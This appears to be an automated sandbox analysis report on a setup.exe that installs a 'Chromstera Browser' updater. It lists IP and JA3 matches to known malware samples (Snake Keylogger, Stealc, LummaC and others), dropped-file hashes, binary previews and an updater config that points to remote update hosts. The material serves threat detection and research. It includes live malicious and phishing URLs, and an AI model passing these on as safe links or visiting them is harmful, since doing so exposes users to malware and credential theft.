Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://myworkspacec1d73.myclickfunnels.com/onlinereview--9097d?preview=true	Get hash	malicious	Unknown	Browse	104.18.35.212
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	104.18.11.207
	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://docs.google.com/drawings/d/1O7L6jnunpKYYRy1ZXX5DN4ENeZ4pxxWF8BG0mcDdFi0/preview?pli=1ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVe	Get hash	malicious	HTMLPhisher	Browse	104.21.49.204
	renier_visser-In Employee -11384.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www-suasconsult-com-br.translate.goog/?_x_tr_sl=pt&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=sc	Get hash	malicious	Unknown	Browse	188.114.96.3
	z74fBF2ObiS1g87mbS.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
CLOUDFLARENETUS	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://myworkspacec1d73.myclickfunnels.com/onlinereview--9097d?preview=true	Get hash	malicious	Unknown	Browse	104.18.35.212
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	104.18.11.207
	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://docs.google.com/drawings/d/1O7L6jnunpKYYRy1ZXX5DN4ENeZ4pxxWF8BG0mcDdFi0/preview?pli=1ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVe	Get hash	malicious	HTMLPhisher	Browse	104.21.49.204
	renier_visser-In Employee -11384.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www-suasconsult-com-br.translate.goog/?_x_tr_sl=pt&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=sc	Get hash	malicious	Unknown	Browse	188.114.96.3
	z74fBF2ObiS1g87mbS.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.245.163.56 13.107.253.45
	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.253.45
	https://1drv.ms/o/s!BOd5RNxFaxkGg1r5bc30bgQWmkNc?e=J67qxK-KfEurqpMk0dasTw&at=9	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.253.45
	https://docs.google.com/drawings/d/1O7L6jnunpKYYRy1ZXX5DN4ENeZ4pxxWF8BG0mcDdFi0/preview?pli=1ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVe	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.253.45
	renier_visser-In Employee -11384.pdf	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.253.45
	http://demettei.com	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.253.45
	https://docs.google.com/drawings/d/1JRNFh_1Cbzym_iLfw5aw8-eo7G0EKRf1L0-MpuWvb2k/preview?pli=1MiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqG	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.253.45
	(No subject) (93).eml	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.253.45
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!sb98dbf79ab614921877689e4912e2fae&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VubV9qYmxocXlGSmgzYUo1SkV1TDY0QmtKQzA5SEFwTjV6cTh1YW5PSWxxNEE_ZT1pdGFpeGo&wd=target%28Sezione%20senza%20titolo.one%7Ccfe57f3b-5d7b-4d15-b045-f6fdb53b3776%2FRechnung%2039920898-43006843%20%5C%7C%20Ebner%20Media%20Group%7C205becae-dae9-4a36-907a-485bcab69387%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.253.45
	http://bigfoot99.com	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.253.45
3b5074b1b5d032e5620f69f9f700ff0e	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	V9fubyadY6.exe	Get hash	malicious	Quasar	Browse	188.114.97.3
	(No subject) (93).eml	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!sb98dbf79ab614921877689e4912e2fae&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VubV9qYmxocXlGSmgzYUo1SkV1TDY0QmtKQzA5SEFwTjV6cTh1YW5PSWxxNEE_ZT1pdGFpeGo&wd=target%28Sezione%20senza%20titolo.one%7Ccfe57f3b-5d7b-4d15-b045-f6fdb53b3776%2FRechnung%2039920898-43006843%20%5C%7C%20Ebner%20Media%20Group%7C205becae-dae9-4a36-907a-485bcab69387%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	188.114.97.3
	https://1drv.ms/o/c/dfbe417e0dc15e08/Esl_LBLy3yNEou5UFJ-QxnIBMGmncz8uv1GwgEHKevm1cw?e=C2cldF	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://gofile.io/d/IAr464	Get hash	malicious	Phisher	Browse	188.114.97.3
	https://dl.dropboxusercontent.com/scl/fi/95is2w1ywjvorzayt88dp/DKM-0192PDF.zip?rlkey=svoej4s4tb5lwbnvthtgrmokl&st=d99zdn1k&dl=0	Get hash	malicious	Abobus Obfuscator	Browse	188.114.97.3
	EwKKdCrEDu.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	EwKKdCrEDu.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
37f463bf4616ecd445d4a1937da06e19	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.8.139
	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse	104.21.8.139
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.8.139
	Fa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.8.139
	Lista produkt#U00f3w POL56583753Sarchmentdoc.bat	Get hash	malicious	Remcos, GuLoader	Browse	104.21.8.139
	RFQ_List.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.8.139
	rFa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.8.139
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	104.21.8.139
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.8.139
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse	104.21.8.139

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\lzmaextractor.dll	Setup.exe	Get hash	malicious	Unknown	Browse
	Setup.exe	Get hash	malicious	Unknown	Browse
	Typora#U5b89#U88c5#U52a9#U624b.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\aischeduler2.dll	Setup.exe	Get hash	malicious	Unknown	Browse
	Setup.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Config.Msi\6bc77e.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	433801
Entropy (8bit):	6.622296181456385
Encrypted:	false
SSDEEP:	6144:M3MN9WmHcLz+pjqgAOSMmEfS2im5/VJuRLXDCXObptI/p5vD1U:pN9Wm8LOUMlfS2JIjXfGp5BU
MD5:	F627D13DF9AB451DE2AFB60FEC79C8B5
SHA1:	A171DC22DACC297898F010F411067F600CFAEAF8
SHA-256:	C352B938FE40262B2E66950CA70AD82DC41988A13B97599F01A8DB0AA5EFF6C0
SHA-512:	AA10A9F037AE9AF0C8310988880962E5EAC0B58D7451575475553B3D9AD8F1CBD85360509DB390BF0C8620637C2C0F87173D34F52BEC5377D39E2CC654495C5C
Malicious:	false
Preview:	...@IXOS.@.....@nq\Y.@.....@.....@.....@.....@.....@......&.{441BEFA6-D7B1-4C8C-8CF9-5A4D6215E43D}..Chromstera Browser..Chromnius-Main.msi.@.....@.....@.....@........&.{2BF917DE-5B34-453F-A1C8-08CE02C334FC}.....@.....@.....@.....@.......@.....@.....@.......@......Chromstera Browser......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....AI_RemoveAllTempFilesL...AI_RemoveAllTempFiles.@......@S..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W..............................................._..............................Q......9...........Rich...........PE..L...A>.d.........."!...$..................... ...............................P.......I....@.....................................<.... ..................@=...0..\.......p...................@...........@............ ...............................text...V........................... ..`.rdata....... .

C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1204192
Entropy (8bit):	6.449430745026756
Encrypted:	false
SSDEEP:	24576:/XFkJPR8H1NQYAhx2S/RHDml5iOMmN4pL8:/XFkJs12YAhx2S/pml5inmN4pL8
MD5:	427C459E138B4F33819558D451E8500E
SHA1:	199EC0199C561D9609A181E069491EC4DC3AB92A
SHA-256:	423E92B04D0C600B88A18E152CCF4912D174FC4522175199860885533BA447DB
SHA-512:	46BBBE35C7446267AEAE1049794AA0B64DEBD8FE1CD1AD3BE2999FAC9D6C2DA1554617CC1CA16430F1409B281AD522D1BEF276EF9DB98897D3A2268F039FACF7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\D..D..D......J...........W....\..........._......E......Q..D.....]...;..].R.E..]...E..RichD..........PE..L..."=.d.........."....$.b...........}............@.......................................@.................................\|v.......................0.../..............p...................@.......x...@....................l.. ....................text...Oa.......b.................. ..`.rdata..h............f..............@..@.data...l4...........z..............@....rsrc...............................@..@.reloc...............z..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.ini

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	516
Entropy (8bit):	5.293699088089054
Encrypted:	false
SSDEEP:	12:1OSMctbmwGsYiDSm8HCVLNvtgtjqszNXK3LXWizeYW8U4+3sfc:1E4TYiDVLNYWi8Bqzm+3Yc
MD5:	EF5B8581D83F4E015AB625D85822A5E2
SHA1:	2D41A9FC3688629A591C128F3F48A4E786E8C271
SHA-256:	6DA817E79DF464811593D8DD587F38FE36902EE5C74132384BB5AAA049DB4FE5
SHA-512:	9809C0503A56612672C4A5B613467D0510E71129AA7361F58A56FD220E40947254FD2AEDDE21BD96D868D4B7B61D8CC562210E113BEC590B6084BBED583F5276
Malicious:	false
Preview:	[General]..Flags=NoDisableAutoCheck\|PerMachine\|NoUpdaterInstallGUI..AppDir=C:\Program Files (x86)\Chromstera Browser\..ApplicationName=Chromstera Browser..CompanyName=Chromstera Solutions..ApplicationVersion=1.0.0.0..DefaultCommandLine=/silentall -nofreqcheck..URL1=https://chromsteraupdates.com/download/updates.txt..CheckFrequency=1..DownloadsFolder=C:\ProgramData\Chromstera Solutions\Chromstera Browser\updates\..ID={F82AF5DB-E99C-41D4-AAE0-B8E22E7D0F21}..URL=https://chromsterabrowser.com/download/updates.txt..

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3277084320389847
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrX:KooCEYhgYEL0In
MD5:	0E3BC5BE8C22464C1F12188F446148FF
SHA1:	739A91042848EFA9928911EAC0EB2AA0261C9CF7
SHA-256:	D12B9CD5A5486402B228F1F16A02B825275BB805F6B8980A764A5EE39BBC8B4E
SHA-512:	27C6FDB59FB31D6EF10F84E11D08340782C2402C21C47610174A979321DF2FF4B765AB390DCD19F5B71940DD818447518DC2854C151CD6149A2663DE549FA915
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x75276603, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221795702959578
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	1B505D9D3BC3F93C377A118C2BE36891
SHA1:	1085AB6E7CD5BE9DC883002297385B29D9F4102C
SHA-256:	10E097FA4CB29FDE03C7AD7772A65C7EB5689EC25C19DCF592919196D86987D7
SHA-512:	A29817739CC9BEB726F882BFB905CF790E1F55A8064CDACCB3AC28A769B8DF7E8D19DE62417661738E515785CBA811D3DEC8C3F308A1ED077EA4496812EB5773
Malicious:	false
Preview:	u'f.... .......A.......X\...;...{......................0.!..........{A.;....\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{......................................;....\|.....................;....\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07689791902081947
Encrypted:	false
SSDEEP:	3:IyEYepWudajn13a/8nuxllollcVO/lnlZMxZNQl:I5zpWSa53quOAOewk
MD5:	257179BF8851FA13DF902733E3516D62
SHA1:	414EC3CCECF232E3AF6B9B79E4DE3A1EF325A07E
SHA-256:	BD3653DCDD8C0A1BAB85703F00BA209C12795E941FF8293A3A7E6C309E1CECC3
SHA-512:	8A12B9B6638BD3CC0699B339A9E5D652A953CCAF5058EEE40E373E512FD7C901AE96CBD9A3EA68BA7C6C96D6743595787BE64D5BCD3329B02ED6343F59DD747B
Malicious:	false
Preview:	..$......................................;...{..;....\|.......{A..............{A......{A..........{A]...................;....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\Desktop\setup.exe
